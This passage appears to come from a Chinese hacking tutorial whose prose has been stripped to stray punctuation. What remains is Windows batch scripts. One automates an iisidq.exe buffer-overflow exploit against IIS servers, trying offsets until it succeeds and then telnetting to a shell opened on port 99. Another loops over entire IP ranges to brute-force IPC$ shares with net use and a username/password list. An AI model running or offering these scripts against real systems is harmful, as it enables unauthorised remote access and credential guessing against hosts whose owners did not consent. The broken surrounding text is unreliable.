ECHO : 8
ECHO +sp1: 9
goto exit /* exit
:file /*file
echo iis5hack.exe ! !
goto exit /* exit
:help /*help
echo :
echo iis [ ip]
echo iis [ ip] [ 9-0]
:exit /*exit
。 !
iisidq.exe idq 。 iisidq.exe telnet.exe。iisidq.exe :
: web 1 < 1>
, , , :"cmd.exe"。
0-14。 <idq.bat ip> :
@echo off /*
if not EXIST iisidq.exe goto file /*
if %1 == "" goto error /*
ping %1 -n 1 | find "Received = 1" /*
if errorlevel 1 goto error1 /*
set b=%1 /* b, %1 b。 b ip
set a=0 /* a a 0。 a 。
:no /*no
if %a%==0 set d=0 /* a=0 d d=0。
if %a%==1 set d=1 /* d ,
if %a%==2 set d=2 /* 。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /* 0
:1
echo %d% ! %b% ! ......
:0 /* 0
IISIDQ %d% %b% 80 1 99 |find "good" /* good( good)
if errorlevel 1 goto 1 /* good
/* 1
ping 127.0.0.1 -n 8 >nul /*ping 8 8
/*
echo %d% ! /*
telnet %b% 99 /*
echo. /*
if %d%==14 goto error1 /* 14 error1 ( )
if %d%==13 set a=11 /*
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /* no
:file /*
echo IIsidq.exe ! !
goto exit
:error
echo ! ip ! !
echo idq [ IP]
goto exit
:error1
echo ! !
echo !
echo iisidq [ ] [ IP] [ ] [ ] [ ]
echo telnet [ ip] [ ]
:exit /*
。
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
1 。 4 FOR 。 :C:\>TEST.BAT 218 218 1 for 0 %%a 2 for 0 %%b 3 for 1 %%c for userpass.txt %%e %%f ( , 123 abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
。 ( ipc.bat) 。 ip 。 , 。
ip 。 , 。 ! !! 。 win2000 xp 。 !